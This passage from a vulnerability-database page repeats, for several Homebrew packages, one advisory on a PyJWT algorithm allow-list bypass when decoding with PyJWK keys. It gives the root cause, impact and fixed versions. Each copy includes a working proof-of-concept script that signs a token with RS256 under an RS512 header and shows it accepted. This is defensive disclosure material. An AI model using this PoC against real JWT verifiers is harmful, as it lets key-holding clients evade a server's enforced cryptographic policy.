- the caller restricted allowed algorithms to
["RS512"] - the signature was actually generated with
RS256
The same token is rejected when verified through the normal PEM/public-key path.
Impact
This is an algorithm allow-list bypass affecting jwt.decode() and jwt.decode_complete() when the verification key is a PyJWK, including keys returned by PyJWKClient.
The impact depends on the deployment model:
- If attackers cannot control any accepted JWK/JWKS private key, practical exploitability is limited.
- If attackers can legitimately control a registered key, this is exploitable.
Impacted deployments include:
- JWT client assertion flows where each client uses its own key
- multitenant systems where tenants register JWK/JWKS material
- federation-style trust models
- any application that relies on
algorithms=[...]to enforce a crypto policy against externally controlled signing keys
What an attacker can do:
- bypass a server-side requirement such as "only
PS256" or "onlyRS512" - continue using a deprecated or blocked algorithm after the server thought it had disabled it
- authenticate successfully as their own client / tenant / federation principal even though they do not satisfy the configured algorithm policy
What this issue does not do by itself:
- it does not let an attacker forge tokens without access to a valid signing key or signing oracle
- it does not automatically enable cross-tenant impersonation unless the surrounding application trust model adds another flaw
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "pyjwt",
"resource_purl": "pkg:pypi/pyjwt@2.15.0",
"upstream_fixed_in": "2.13.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "snowflake-cli",
"purl": "pkg:brew/snowflake-cli"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.24.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/pyjwt@2.15.0",
"name": "pyjwt",
"resource": "pyjwt",
"strategy": "registry",
"subject_version": "2.15.0"
}
]
},
"details": "\u003e [!NOTE]\n\u003e Scored assuming a deployment where algorithm policy functions as an authentication/authorization boundary. In deployments where the algorithm policy enforces crypto agility only, the practical confidentiality impact is lower and the issue is closer to an integrity-of-policy-enforcement bug.\n\nPyJWT `2.9.0` through `2.12.1` allows a verifier-side algorithm allow-list bypass when `jwt.decode()` or `jwt.decode_complete()` are called with a `PyJWK` key. The token header `alg` is checked against the caller-supplied `algorithms` allow-list, but signature verification is performed with the algorithm bound to the `PyJWK` object instead of the header algorithm. An attacker who controls a registered JWK/JWKS private key can sign with a disallowed algorithm, advertise an allowed algorithm in the JWT header, and still be accepted. The issue affects the documented `PyJWKClient.get_signing_key_from_jwt(...)` flow.\n\n### Summary\n\nPyJWT\u0027s `PyJWK` verification path allows a verifier-side algorithm allow-list bypass.\n\nIn affected versions, when a JWT is decoded with a `PyJWK` object, PyJWT verifies that the header `alg` string is present in the caller\u0027s `algorithms=[...]` list, but it does not actually use the header algorithm to verify the signature. Instead, it verifies with the algorithm already bound to the `PyJWK` object.\n\nThis lets an attacker who controls a registered JWK/JWKS private key sign with a disallowed algorithm and have the token accepted as long as the JWT header advertises an allowed algorithm. This affects the documented `PyJWKClient` usage flow and does not require any non-default flags or unsafe configuration.\n\n### Details\n\nIn `jwt/api_jws.py` in `2.12.1`, `_verify_signature()` treats `PyJWK` keys differently from normal PEM/public-key inputs:\n\n```python\nif algorithms is None and isinstance(key, PyJWK):\n algorithms = [key.algorithm_name]\n\n...\n\nif not alg or (algorithms is not None and alg not in algorithms):\n raise InvalidAlgorithmError(\"The specified alg value is not allowed\")\n\nif isinstance(key, PyJWK):\n alg_obj = key.Algorithm\n prepared_key = key.key\nelse:\n alg_obj = self.get_algorithm_by_name(alg)\n prepared_key = alg_obj.prepare_key(key)\n```\n\nThis logic means:\n\n1. The JWT header `alg` is checked only as a string against the caller-supplied allow-list.\n2. If the key is a `PyJWK`, the actual verifier is not selected from the header algorithm.\n3. Instead, PyJWT always verifies with `key.Algorithm`, which is fixed when the `PyJWK` object is created.\n\n`PyJWK` binds its algorithm in `jwt/api_jwk.py` from the JWK\u0027s `alg` field or from key-type defaults:\n\n```python\nif not algorithm and isinstance(self._jwk_data, dict):\n algorithm = self._jwk_data.get(\"alg\", None)\n\n...\n\nself.algorithm_name = algorithm\nself.Algorithm = get_default_algorithms()[algorithm]\nself.key = self.Algorithm.from_jwk(self._jwk_data)\n```\n\nSo once a `PyJWK` is constructed, the verifier uses the `PyJWK`\u0027s bound algorithm, not the JWT header algorithm.\n\nThe issue is reachable through the documented JWKS flow. In `docs/usage.rst`, the project documents:\n\n```python\nsigning_key = jwks_client.get_signing_key_from_jwt(token)\njwt.decode(\n token,\n signing_key,\n audience=\"https://expenses-api\",\n options={\"verify_exp\": False},\n algorithms=[\"RS256\"],\n)\n```\n\n`PyJWKClient.get_signing_key_from_jwt()` returns a `PyJWK`, so this documented path is affected.\n\nThis is not a \"no-key forgery\" issue. The attacker still needs control of an accepted JWK/JWKS private key. However, that is realistic in deployments such as:\n\n- self-service OAuth client assertions\n- multi-tenant key registration\n- federation / BYO-JWKS trust models\n- any system where external parties sign JWTs with their own registered keys\n\nIn those cases, the attacker can bypass verifier-side algorithm policy. For example, if the server intends to only accept `PS256`, an attacker controlling an accepted RSA JWK can sign with `RS256`, set `alg=PS256` in the JWT header, and still be accepted through the `PyJWK` path.\n\nThe same forged token is rejected through the normal PEM/public-key verification path, which shows the bug is specific to `PyJWK` verification rather than expected JWT behavior.\n\nThis behavior was introduced by commit `ab8176abe21e550dbc1c9a6bb7e78ad80853bfb1` (`Decode with PyJWK (#886)`), which is present in tagged releases `2.9.0`, `2.10.0`, `2.10.1`, `2.11.0`, `2.12.0`, and `2.12.1`.\n\n### PoC\n\nTested locally against PyJWT `2.12.1` on Python `3.12.10` with `cryptography 45.0.6`.\n\nInstall dependencies:\n\n```bash\npython -m pip install pyjwt==2.12.1 cryptography\n```\n\nRun the following script:\n\n```python\nimport json\nimport jwt\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives.serialization import Encoding, PublicFormat\nfrom jwt.api_jwk import PyJWK\nfrom jwt.algorithms import RSAAlgorithm\nfrom jwt.utils import base64url_encode\n\n# Generate an RSA keypair controlled by the attacker.\npriv = rsa.generate_private_key(public_exponent=65537, key_size=2048)\npub = priv.public_key()\npub_pem = pub.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)\n\n# Build a PyJWK from the public key.\n# With an RSA JWK and no explicit alg, PyJWK binds to RS256 by default.\njwk = PyJWK.from_json(RSAAlgorithm.to_jwk(pub))\n\n# Create a token whose protected header claims RS512.\nheader = {\"typ\": \"JWT\", \"alg\": \"RS512\"}\npayload = {\"sub\": \"alice\"}\n\nheader_b64 = base64url_encode(\n json.dumps(header, separators=(\",\", \":\"), sort_keys=True).encode()\n)\npayload_b64 = base64url_encode(\n json.dumps(payload, separators=(\",\", \":\")).encode()\n)\nsigning_input = b\".\".join([header_b64, payload_b64])\n\n# Sign the RS512-labelled token with RS256 instead.\nsig = RSAAlgorithm(RSAAlgorithm.SHA256).sign(signing_input, priv)\ntoken = b\".\".join([header_b64, payload_b64, base64url_encode(sig)]).decode()\n\nprint(\"token:\", token)\nprint(\"PyJWK path:\")\nprint(jwt.decode(token, jwk, algorithms=[\"RS512\"]))\n\nprint(\"PEM path:\")\ntry:\n print(jwt.decode(token, pub_pem, algorithms=[\"RS512\"]))\nexcept Exception as e:\n print(f\"{type(e).__name__}: {e}\")\n```\n\nObserved output:\n\n```text\nPyJWK path:\n{\u0027sub\u0027: \u0027alice\u0027}\nPEM path:\nInvalidSignatureError: Signature verification failed\n```\n\nThe token is accepted when the verification key is a `PyJWK`, even though:\n\n- the caller restricted allowed algorithms to `[\"RS512\"]`\n- the signature was actually generated with `RS256`\n\nThe same token is rejected when verified through the normal PEM/public-key path.\n\n### Impact\n\nThis is an algorithm allow-list bypass affecting `jwt.decode()` and `jwt.decode_complete()` when the verification key is a `PyJWK`, including keys returned by `PyJWKClient`.\n\nThe impact depends on the deployment model:\n\n- If attackers cannot control any accepted JWK/JWKS private key, practical exploitability is limited.\n- If attackers can legitimately control a registered key, this is exploitable.\n\nImpacted deployments include:\n\n- JWT client assertion flows where each client uses its own key\n- multitenant systems where tenants register JWK/JWKS material\n- federation-style trust models\n- any application that relies on `algorithms=[...]` to enforce a crypto policy against externally controlled signing keys\n\nWhat an attacker can do:\n\n- bypass a server-side requirement such as \"only `PS256`\" or \"only `RS512`\"\n- continue using a deprecated or blocked algorithm after the server thought it had disabled it\n- authenticate successfully as their own client / tenant / federation principal even though they do not satisfy the configured algorithm policy\n\nWhat this issue does not do by itself:\n\n- it does not let an attacker forge tokens without access to a valid signing key or signing oracle\n- it does not automatically enable cross-tenant impersonation unless the surrounding application trust model adds another flaw",
"id": "BREW-snowflake-cli-CVE-2026-48523",
"modified": "2026-09-28T17:46:24Z",
"published": "2026-08-13T17:35:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-jq35-7prp-9v3f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48523"
},
{
"type": "PACKAGE",
"url": "https://github.com/jpadilla/pyjwt"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2026-176.yaml"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "PyJWT: Algorithm allow-list bypass when decoding with `PyJWK` / `PyJWKClient` keys",
"upstream": [
"GHSA-jq35-7prp-9v3f",
"CVE-2026-48523",
"PYSEC-2026-176"
]
}
BREW-SNYK-AGENT-SCAN-CVE… (GHSA-JQ35-7PRP-9V3F)
Vulnerability from osv_homebrew – Published: 2026-08-13 17:35 – Updated: 2026-09-23 09:40 – Source website[!NOTE] Scored assuming a deployment where algorithm policy functions as an authentication/authorization boundary. In deployments where the algorithm policy enforces crypto agility only, the practical confidentiality impact is lower and the issue is closer to an integrity-of-policy-enforcement bug.
PyJWT 2.9.0 through 2.12.1 allows a verifier-side algorithm allow-list bypass when jwt.decode() or jwt.decode_complete() are called with a PyJWK key. The token header alg is checked against the caller-supplied algorithms allow-list, but signature verification is performed with the algorithm bound to the PyJWK object instead of the header algorithm. An attacker who controls a registered JWK/JWKS private key can sign with a disallowed algorithm, advertise an allowed algorithm in the JWT header, and still be accepted. The issue affects the documented PyJWKClient.get_signing_key_from_jwt(...) flow.
Summary
PyJWT's PyJWK verification path allows a verifier-side algorithm allow-list bypass.
In affected versions, when a JWT is decoded with a PyJWK object, PyJWT verifies that the header alg string is present in the caller's algorithms=[...] list, but it does not actually use the header algorithm to verify the signature. Instead, it verifies with the algorithm already bound to the PyJWK object.
This lets an attacker who controls a registered JWK/JWKS private key sign with a disallowed algorithm and have the token accepted as long as the JWT header advertises an allowed algorithm. This affects the documented PyJWKClient usage flow and does not require any non-default flags or unsafe configuration.
Details
In jwt/api_jws.py in 2.12.1, _verify_signature() treats PyJWK keys differently from normal PEM/public-key inputs:
if algorithms is None and isinstance(key, PyJWK):
algorithms = [key.algorithm_name]
...
if not alg or (algorithms is not None and alg not in algorithms):
raise InvalidAlgorithmError("The specified alg value is not allowed")
if isinstance(key, PyJWK):
alg_obj = key.Algorithm
prepared_key = key.key
else:
alg_obj = self.get_algorithm_by_name(alg)
prepared_key = alg_obj.prepare_key(key)
This logic means:
- The JWT header
algis checked only as a string against the caller-supplied allow-list. - If the key is a
PyJWK, the actual verifier is not selected from the header algorithm. - Instead, PyJWT always verifies with
key.Algorithm, which is fixed when thePyJWKobject is created.
PyJWK binds its algorithm in jwt/api_jwk.py from the JWK's alg field or from key-type defaults:
if not algorithm and isinstance(self._jwk_data, dict):
algorithm = self._jwk_data.get("alg", None)
...
self.algorithm_name = algorithm
self.Algorithm = get_default_algorithms()[algorithm]
self.key = self.Algorithm.from_jwk(self._jwk_data)
So once a PyJWK is constructed, the verifier uses the PyJWK's bound algorithm, not the JWT header algorithm.
The issue is reachable through the documented JWKS flow. In docs/usage.rst, the project documents:
signing_key = jwks_client.get_signing_key_from_jwt(token)
jwt.decode(
token,
signing_key,
audience="https://expenses-api",
options={"verify_exp": False},
algorithms=["RS256"],
)
PyJWKClient.get_signing_key_from_jwt() returns a PyJWK, so this documented path is affected.
This is not a "no-key forgery" issue. The attacker still needs control of an accepted JWK/JWKS private key. However, that is realistic in deployments such as:
- self-service OAuth client assertions
- multi-tenant key registration
- federation / BYO-JWKS trust models
- any system where external parties sign JWTs with their own registered keys
In those cases, the attacker can bypass verifier-side algorithm policy. For example, if the server intends to only accept PS256, an attacker controlling an accepted RSA JWK can sign with RS256, set alg=PS256 in the JWT header, and still be accepted through the PyJWK path.
The same forged token is rejected through the normal PEM/public-key verification path, which shows the bug is specific to PyJWK verification rather than expected JWT behavior.
This behavior was introduced by commit ab8176abe21e550dbc1c9a6bb7e78ad80853bfb1 (Decode with PyJWK (#886)), which is present in tagged releases 2.9.0, 2.10.0, 2.10.1, 2.11.0, 2.12.0, and 2.12.1.
PoC
Tested locally against PyJWT 2.12.1 on Python 3.12.10 with cryptography 45.0.6.
Install dependencies:
python -m pip install pyjwt==2.12.1 cryptography
Run the following script:
import json
import jwt
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives.serialization import Encoding, PublicFormat
from jwt.api_jwk import PyJWK
from jwt.algorithms import RSAAlgorithm
from jwt.utils import base64url_encode
# Generate an RSA keypair controlled by the attacker.
priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub = priv.public_key()
pub_pem = pub.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)
# Build a PyJWK from the public key.
# With an RSA JWK and no explicit alg, PyJWK binds to RS256 by default.
jwk = PyJWK.from_json(RSAAlgorithm.to_jwk(pub))
# Create a token whose protected header claims RS512.
header = {"typ": "JWT", "alg": "RS512"}
payload = {"sub": "alice"}
header_b64 = base64url_encode(
json.dumps(header, separators=(",", ":"), sort_keys=True).encode()
)
payload_b64 = base64url_encode(
json.dumps(payload, separators=(",", ":")).encode()
)
signing_input = b".".join([header_b64, payload_b64])
# Sign the RS512-labelled token with RS256 instead.
sig = RSAAlgorithm(RSAAlgorithm.SHA256).sign(signing_input, priv)
token = b".".join([header_b64, payload_b64, base64url_encode(sig)]).decode()
print("token:", token)
print("PyJWK path:")
print(jwt.decode(token, jwk, algorithms=["RS512"]))
print("PEM path:")
try:
print(jwt.decode(token, pub_pem, algorithms=["RS512"]))
except Exception as e:
print(f"{type(e).__name__}: {e}")
Observed output:
PyJWK path:
{'sub': 'alice'}
PEM path:
InvalidSignatureError: Signature verification failed
The token is accepted when the verification key is a PyJWK, even though:
- the caller restricted allowed algorithms to
["RS512"] - the signature was actually generated with
RS256
The same token is rejected when verified through the normal PEM/public-key path.
Impact
This is an algorithm allow-list bypass affecting jwt.decode() and jwt.decode_complete() when the verification key is a PyJWK, including keys returned by PyJWKClient.
The impact depends on the deployment model:
- If attackers cannot control any accepted JWK/JWKS private key, practical exploitability is limited.
- If attackers can legitimately control a registered key, this is exploitable.
Impacted deployments include:
- JWT client assertion flows where each client uses its own key
- multitenant systems where tenants register JWK/JWKS material
- federation-style trust models
- any application that relies on
algorithms=[...]to enforce a crypto policy against externally controlled signing keys
What an attacker can do:
- bypass a server-side requirement such as "only
PS256" or "onlyRS512" - continue using a deprecated or blocked algorithm after the server thought it had disabled it
- authenticate successfully as their own client / tenant / federation principal even though they do not satisfy the configured algorithm policy
What this issue does not do by itself:
- it does not let an attacker forge tokens without access to a valid signing key or signing oracle
- it does not automatically enable cross-tenant impersonation unless the surrounding application trust model adds another flaw
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "pyjwt",
"resource_purl": "pkg:pypi/pyjwt@2.14.0",
"upstream_fixed_in": "2.13.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "snyk-agent-scan",
"purl": "pkg:brew/snyk-agent-scan"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.5.17"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/pyjwt@2.14.0",
"name": "pyjwt",
"resource": "pyjwt",
"strategy": "registry",
"subject_version": "2.14.0"
}
]
},
"details": "\u003e [!NOTE]\n\u003e Scored assuming a deployment where algorithm policy functions as an authentication/authorization boundary. In deployments where the algorithm policy enforces crypto agility only, the practical confidentiality impact is lower and the issue is closer to an integrity-of-policy-enforcement bug.\n\nPyJWT `2.9.0` through `2.12.1` allows a verifier-side algorithm allow-list bypass when `jwt.decode()` or `jwt.decode_complete()` are called with a `PyJWK` key. The token header `alg` is checked against the caller-supplied `algorithms` allow-list, but signature verification is performed with the algorithm bound to the `PyJWK` object instead of the header algorithm. An attacker who controls a registered JWK/JWKS private key can sign with a disallowed algorithm, advertise an allowed algorithm in the JWT header, and still be accepted. The issue affects the documented `PyJWKClient.get_signing_key_from_jwt(...)` flow.\n\n### Summary\n\nPyJWT\u0027s `PyJWK` verification path allows a verifier-side algorithm allow-list bypass.\n\nIn affected versions, when a JWT is decoded with a `PyJWK` object, PyJWT verifies that the header `alg` string is present in the caller\u0027s `algorithms=[...]` list, but it does not actually use the header algorithm to verify the signature. Instead, it verifies with the algorithm already bound to the `PyJWK` object.\n\nThis lets an attacker who controls a registered JWK/JWKS private key sign with a disallowed algorithm and have the token accepted as long as the JWT header advertises an allowed algorithm. This affects the documented `PyJWKClient` usage flow and does not require any non-default flags or unsafe configuration.\n\n### Details\n\nIn `jwt/api_jws.py` in `2.12.1`, `_verify_signature()` treats `PyJWK` keys differently from normal PEM/public-key inputs:\n\n```python\nif algorithms is None and isinstance(key, PyJWK):\n algorithms = [key.algorithm_name]\n\n...\n\nif not alg or (algorithms is not None and alg not in algorithms):\n raise InvalidAlgorithmError(\"The specified alg value is not allowed\")\n\nif isinstance(key, PyJWK):\n alg_obj = key.Algorithm\n prepared_key = key.key\nelse:\n alg_obj = self.get_algorithm_by_name(alg)\n prepared_key = alg_obj.prepare_key(key)\n```\n\nThis logic means:\n\n1. The JWT header `alg` is checked only as a string against the caller-supplied allow-list.\n2. If the key is a `PyJWK`, the actual verifier is not selected from the header algorithm.\n3. Instead, PyJWT always verifies with `key.Algorithm`, which is fixed when the `PyJWK` object is created.\n\n`PyJWK` binds its algorithm in `jwt/api_jwk.py` from the JWK\u0027s `alg` field or from key-type defaults:\n\n```python\nif not algorithm and isinstance(self._jwk_data, dict):\n algorithm = self._jwk_data.get(\"alg\", None)\n\n...\n\nself.algorithm_name = algorithm\nself.Algorithm = get_default_algorithms()[algorithm]\nself.key = self.Algorithm.from_jwk(self._jwk_data)\n```\n\nSo once a `PyJWK` is constructed, the verifier uses the `PyJWK`\u0027s bound algorithm, not the JWT header algorithm.\n\nThe issue is reachable through the documented JWKS flow. In `docs/usage.rst`, the project documents:\n\n```python\nsigning_key = jwks_client.get_signing_key_from_jwt(token)\njwt.decode(\n token,\n signing_key,\n audience=\"https://expenses-api\",\n options={\"verify_exp\": False},\n algorithms=[\"RS256\"],\n)\n```\n\n`PyJWKClient.get_signing_key_from_jwt()` returns a `PyJWK`, so this documented path is affected.\n\nThis is not a \"no-key forgery\" issue. The attacker still needs control of an accepted JWK/JWKS private key. However, that is realistic in deployments such as:\n\n- self-service OAuth client assertions\n- multi-tenant key registration\n- federation / BYO-JWKS trust models\n- any system where external parties sign JWTs with their own registered keys\n\nIn those cases, the attacker can bypass verifier-side algorithm policy. For example, if the server intends to only accept `PS256`, an attacker controlling an accepted RSA JWK can sign with `RS256`, set `alg=PS256` in the JWT header, and still be accepted through the `PyJWK` path.\n\nThe same forged token is rejected through the normal PEM/public-key verification path, which shows the bug is specific to `PyJWK` verification rather than expected JWT behavior.\n\nThis behavior was introduced by commit `ab8176abe21e550dbc1c9a6bb7e78ad80853bfb1` (`Decode with PyJWK (#886)`), which is present in tagged releases `2.9.0`, `2.10.0`, `2.10.1`, `2.11.0`, `2.12.0`, and `2.12.1`.\n\n### PoC\n\nTested locally against PyJWT `2.12.1` on Python `3.12.10` with `cryptography 45.0.6`.\n\nInstall dependencies:\n\n```bash\npython -m pip install pyjwt==2.12.1 cryptography\n```\n\nRun the following script:\n\n```python\nimport json\nimport jwt\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives.serialization import Encoding, PublicFormat\nfrom jwt.api_jwk import PyJWK\nfrom jwt.algorithms import RSAAlgorithm\nfrom jwt.utils import base64url_encode\n\n# Generate an RSA keypair controlled by the attacker.\npriv = rsa.generate_private_key(public_exponent=65537, key_size=2048)\npub = priv.public_key()\npub_pem = pub.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)\n\n# Build a PyJWK from the public key.\n# With an RSA JWK and no explicit alg, PyJWK binds to RS256 by default.\njwk = PyJWK.from_json(RSAAlgorithm.to_jwk(pub))\n\n# Create a token whose protected header claims RS512.\nheader = {\"typ\": \"JWT\", \"alg\": \"RS512\"}\npayload = {\"sub\": \"alice\"}\n\nheader_b64 = base64url_encode(\n json.dumps(header, separators=(\",\", \":\"), sort_keys=True).encode()\n)\npayload_b64 = base64url_encode(\n json.dumps(payload, separators=(\",\", \":\")).encode()\n)\nsigning_input = b\".\".join([header_b64, payload_b64])\n\n# Sign the RS512-labelled token with RS256 instead.\nsig = RSAAlgorithm(RSAAlgorithm.SHA256).sign(signing_input, priv)\ntoken = b\".\".join([header_b64, payload_b64, base64url_encode(sig)]).decode()\n\nprint(\"token:\", token)\nprint(\"PyJWK path:\")\nprint(jwt.decode(token, jwk, algorithms=[\"RS512\"]))\n\nprint(\"PEM path:\")\ntry:\n print(jwt.decode(token, pub_pem, algorithms=[\"RS512\"]))\nexcept Exception as e:\n print(f\"{type(e).__name__}: {e}\")\n```\n\nObserved output:\n\n```text\nPyJWK path:\n{\u0027sub\u0027: \u0027alice\u0027}\nPEM path:\nInvalidSignatureError: Signature verification failed\n```\n\nThe token is accepted when the verification key is a `PyJWK`, even though:\n\n- the caller restricted allowed algorithms to `[\"RS512\"]`\n- the signature was actually generated with `RS256`\n\nThe same token is rejected when verified through the normal PEM/public-key path.\n\n### Impact\n\nThis is an algorithm allow-list bypass affecting `jwt.decode()` and `jwt.decode_complete()` when the verification key is a `PyJWK`, including keys returned by `PyJWKClient`.\n\nThe impact depends on the deployment model:\n\n- If attackers cannot control any accepted JWK/JWKS private key, practical exploitability is limited.\n- If attackers can legitimately control a registered key, this is exploitable.\n\nImpacted deployments include:\n\n- JWT client assertion flows where each client uses its own key\n- multitenant systems where tenants register JWK/JWKS material\n- federation-style trust models\n- any application that relies on `algorithms=[...]` to enforce a crypto policy against externally controlled signing keys\n\nWhat an attacker can do:\n\n- bypass a server-side requirement such as \"only `PS256`\" or \"only `RS512`\"\n- continue using a deprecated or blocked algorithm after the server thought it had disabled it\n- authenticate successfully as their own client / tenant / federation principal even though they do not satisfy the configured algorithm policy\n\nWhat this issue does not do by itself:\n\n- it does not let an attacker forge tokens without access to a valid signing key or signing oracle\n- it does not automatically enable cross-tenant impersonation unless the surrounding application trust model adds another flaw",
"id": "BREW-snyk-agent-scan-CVE-2026-48523",
"modified": "2026-09-23T09:40:51Z",
"published": "2026-08-13T17:35:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-jq35-7prp-9v3f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48523"
},
{
"type": "PACKAGE",
"url": "https://github.com/jpadilla/pyjwt"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2026-176.yaml"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "PyJWT: Algorithm allow-list bypass when decoding with `PyJWK` / `PyJWKClient` keys",
"upstream": [
"GHSA-jq35-7prp-9v3f",
"CVE-2026-48523",
"PYSEC-2026-176"
]
}
BREW-STRANDS-AGENTS-SOPS… (GHSA-JQ35-7PRP-9V3F)
Vulnerability from osv_homebrew – Published: 2026-08-13 17:41 – Updated: 2026-09-10 21:05 – Source website[!NOTE] Scored assuming a deployment where algorithm policy functions as an authentication/authorization boundary. In deployments where the algorithm policy enforces crypto agility only, the practical confidentiality impact is lower and the issue is closer to an integrity-of-policy-enforcement bug.
PyJWT 2.9.0 through 2.12.1 allows a verifier-side algorithm allow-list bypass when jwt.decode() or jwt.decode_complete() are called with a PyJWK key. The token header alg is checked against the caller-supplied algorithms allow-list, but signature verification is performed with the algorithm bound to the PyJWK object instead of the header algorithm. An attacker who controls a registered JWK/JWKS private key can sign with a disallowed algorithm, advertise an allowed algorithm in the JWT header, and still be accepted. The issue affects the documented PyJWKClient.get_signing_key_from_jwt(...) flow.
Summary
PyJWT's PyJWK verification path allows a verifier-side algorithm allow-list bypass.
In affected versions, when a JWT is decoded with a PyJWK object, PyJWT verifies that the header alg string is present in the caller's algorithms=[...] list, but it does not actually use the header algorithm to verify the signature. Instead, it verifies with the algorithm already bound to the PyJWK object.
This lets an attacker who controls a registered JWK/JWKS private key sign with a disallowed algorithm and have the token accepted as long as the JWT header advertises an allowed algorithm. This affects the documented PyJWKClient usage flow and does not require any non-default flags or unsafe configuration.
Details
In jwt/api_jws.py in 2.12.1, _verify_signature() treats PyJWK keys differently from normal PEM/public-key inputs:
if algorithms is None and isinstance(key, PyJWK):
algorithms = [key.algorithm_name]
...
if not alg or (algorithms is not None and alg not in algorithms):
raise InvalidAlgorithmError("The specified alg value is not allowed")
if isinstance(key, PyJWK):
alg_obj = key.Algorithm
prepared_key = key.key
else:
alg_obj = self.get_algorithm_by_name(alg)
prepared_key = alg_obj.prepare_key(key)
This logic means:
- The JWT header
algis checked only as a string against the caller-supplied allow-list. - If the key is a
PyJWK, the actual verifier is not selected from the header algorithm. - Instead, PyJWT always verifies with
key.Algorithm, which is fixed when thePyJWKobject is created.
PyJWK binds its algorithm in jwt/api_jwk.py from the JWK's alg field or from key-type defaults:
if not algorithm and isinstance(self._jwk_data, dict):
algorithm = self._jwk_data.get("alg", None)
...
self.algorithm_name = algorithm
self.Algorithm = get_default_algorithms()[algorithm]
self.key = self.Algorithm.from_jwk(self._jwk_data)
So once a PyJWK is constructed, the verifier uses the PyJWK's bound algorithm, not the JWT header algorithm.
The issue is reachable through the documented JWKS flow. In docs/usage.rst, the project documents:
signing_key = jwks_client.get_signing_key_from_jwt(token)
jwt.decode(
token,
signing_key,
audience="https://expenses-api",
options={"verify_exp": False},
algorithms=["RS256"],
)
PyJWKClient.get_signing_key_from_jwt() returns a PyJWK, so this documented path is affected.
This is not a "no-key forgery" issue. The attacker still needs control of an accepted JWK/JWKS private key. However, that is realistic in deployments such as:
- self-service OAuth client assertions
- multi-tenant key registration
- federation / BYO-JWKS trust models
- any system where external parties sign JWTs with their own registered keys
In those cases, the attacker can bypass verifier-side algorithm policy. For example, if the server intends to only accept PS256, an attacker controlling an accepted RSA JWK can sign with RS256, set alg=PS256 in the JWT header, and still be accepted through the PyJWK path.
The same forged token is rejected through the normal PEM/public-key verification path, which shows the bug is specific to PyJWK verification rather than expected JWT behavior.
This behavior was introduced by commit ab8176abe21e550dbc1c9a6bb7e78ad80853bfb1 (Decode with PyJWK (#886)), which is present in tagged releases 2.9.0, 2.10.0, 2.10.1, 2.11.0, 2.12.0, and 2.12.1.
PoC
Tested locally against PyJWT 2.12.1 on Python 3.12.10 with cryptography 45.0.6.
Install dependencies:
python -m pip install pyjwt==2.12.1 cryptography
Run the following script:
import json
import jwt
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives.serialization import Encoding, PublicFormat
from jwt.api_jwk import PyJWK
from jwt.algorithms import RSAAlgorithm
from jwt.utils import base64url_encode
# Generate an RSA keypair controlled by the attacker.
priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub = priv.public_key()
pub_pem = pub.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)
# Build a PyJWK from the public key.
# With an RSA JWK and no explicit alg, PyJWK binds to RS256 by default.
jwk = PyJWK.from_json(RSAAlgorithm.to_jwk(pub))
# Create a token whose protected header claims RS512.
header = {"typ": "JWT", "alg": "RS512"}
payload = {"sub": "alice"}
header_b64 = base64url_encode(
json.dumps(header, separators=(",", ":"), sort_keys=True).encode()
)
payload_b64 = base64url_encode(
json.dumps(payload, separators=(",", ":")).encode()
)
signing_input = b".".join([header_b64, payload_b64])
# Sign the RS512-labelled token with RS256 instead.
sig = RSAAlgorithm(RSAAlgorithm.SHA256).sign(signing_input, priv)
token = b".".join([header_b64, payload_b64, base64url_encode(sig)]).decode()
print("token:", token)
print("PyJWK path:")
print(jwt.decode(token, jwk, algorithms=["RS512"]))
print("PEM path:")
try:
print(jwt.decode(token, pub_pem, algorithms=["RS512"]))
except Exception as e:
print(f"{type(e).__name__}: {e}")
Observed output:
PyJWK path:
{'sub': 'alice'}
PEM path:
InvalidSignatureError: Signature verification failed
The token is accepted when the verification key is a PyJWK, even though:
- the caller restricted allowed algorithms to
["RS512"] - the signature was actually generated with
RS256
The same token is rejected when verified through the normal PEM/public-key path.
Impact
This is an algorithm allow-list bypass affecting jwt.decode() and jwt.decode_complete() when the verification key is a PyJWK, including keys returned by PyJWKClient.
The impact depends on the deployment model:
- If attackers cannot control any accepted JWK/JWKS private key, practical exploitability is limited.
- If attackers can legitimately control a registered key, this is exploitable.
Impacted deployments include:
- JWT client assertion flows where each client uses its own key
- multitenant systems where tenants register JWK/JWKS material
- federation-style trust models
- any application that relies on
